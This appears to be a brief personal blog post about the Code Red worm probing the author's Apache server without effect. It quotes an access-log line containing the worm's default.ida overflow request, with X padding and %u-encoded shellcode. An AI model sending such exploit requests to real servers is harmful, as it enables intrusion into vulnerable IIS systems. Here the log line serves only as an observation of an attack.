But the viper still stings, does he not?

Apparently, the Code Red worm still attempts accessing my web server, but since it only affects Microsoft IIS web servers (and I run Apache 1.3.20), it has completely no effect, requesting default.ida, and producing strings like the following in the error logs:

File does not exist: c:/apache/htdocs/default.ida

as well as the following line in the access logs:

"GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%
u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u81
90%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=aHTTP/1.0" 302 286

Oh, well. No harm done, I guess.
